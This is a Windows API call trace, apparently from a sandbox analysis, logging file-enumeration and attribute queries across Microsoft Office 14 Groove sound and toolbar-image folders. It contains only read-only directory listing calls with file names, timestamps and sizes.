	[0052.517] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.517] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260b1d8 | out: lpFileInformation=0x1260b1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8fc)) returned 1
	[0052.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260b228 | out: lpFileInformation=0x1260b228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51ce9230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f18)) returned 1
	[0052.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260b278 | out: lpFileInformation=0x1260b278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa412)) returned 1
	[0052.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260b2c8 | out: lpFileInformation=0x1260b2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb14e)) returned 1
	[0052.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260b318 | out: lpFileInformation=0x1260b318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf548)) returned 1
	[0052.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260b368 | out: lpFileInformation=0x1260b368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xedd6)) returned 1
	[0052.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260b3b8 | out: lpFileInformation=0x1260b3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bbc)) returned 1
	[0052.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), fInfoLevelId=0x0, lpFileInformation=0x1260b408 | out: lpFileInformation=0x1260b408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.524] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.525] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1
	[0052.525] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImagesMask.bmp", cAlternateFileName="CALEND~1.BMP")) returned 1
	[0052.525] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChessIconImages.bmp", cAlternateFileName="CHESSI~1.BMP")) returned 1
	[0052.525] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChessIconImagesMask.bmp", cAlternateFileName="CHESSI~2.BMP")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateSpaceImage.jpg", cAlternateFileName="CREATE~1.JPG")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateSpaceImageMask.bmp", cAlternateFileName="CREATE~1.BMP")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImages.jpg", cAlternateFileName="DATALI~1.JPG")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImagesMask.bmp", cAlternateFileName="DATALI~1.BMP")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataViewIconImages.jpg", cAlternateFileName="DATAVI~1.JPG")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataViewIconImagesMask.bmp", cAlternateFileName="DATAVI~1.BMP")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2eaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="DISCUS~1.BMP")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form_StatusImage.jpg", cAlternateFileName="FORM_S~1.JPG")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form_StatusImageMask.bmp", cAlternateFileName="FORM_S~1.BMP")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1d29, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIP.JPG", cAlternateFileName="")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIPMASK.BMP", cAlternateFileName="")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIcon.jpg", cAlternateFileName="INFORM~1.JPG")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIconMask.bmp", cAlternateFileName="INFORM~1.BMP")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675aa300, ftCreationTime.dwHighDateTime=0x1c9f921, ftLastAccessTime.dwLowDateTime=0x581a1510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x675aa300, ftLastWriteTime.dwHighDateTime=0x1c9f921, nFileSizeHigh=0x0, nFileSizeLow=0xceed, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginDialogBackground.jpg", cAlternateFileName="LOGIND~1.JPG")) returned 1
	[0052.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24Images.jpg", cAlternateFileName="LOGINT~1.JPG")) returned 1
	[0052.527] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24ImagesMask.bmp", cAlternateFileName="LOGINT~1.BMP")) returned 1
	[0052.527] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x25e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImages.jpg", cAlternateFileName="MESSAG~2.JPG")) returned 1
	[0052.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImagesMask.bmp", cAlternateFileName="MESSAG~1.BMP")) returned 1
	[0052.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x22f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImages.jpg", cAlternateFileName="MESSAG~1.JPG")) returned 1
	[0052.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImagesMask.bmp", cAlternateFileName="MESSAG~2.BMP")) returned 1
	[0052.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b7a400, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46b7a400, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x3efd, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackground.jpg", cAlternateFileName="NOTIFI~1.JPG")) returned 1
	[0052.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50410c00, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50410c00, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x40aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackgroundRTL.jpg", cAlternateFileName="NOTIFI~2.JPG")) returned 1
	[0052.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79304700, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79304700, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierCloseButton.jpg", cAlternateFileName="NO00D7~1.JPG")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f262800, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a539c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f262800, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableDownArrow.jpg", cAlternateFileName="NO74B3~1.JPG")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b9af00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82b9af00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableUpArrow.jpg", cAlternateFileName="NOTIFI~3.JPG")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x864d3600, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x864d3600, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDownArrow.jpg", cAlternateFileName="NOTIFI~4.JPG")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e0bd00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89e0bd00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierUpArrow.jpg", cAlternateFileName="NO6669~1.JPG")) returned 1
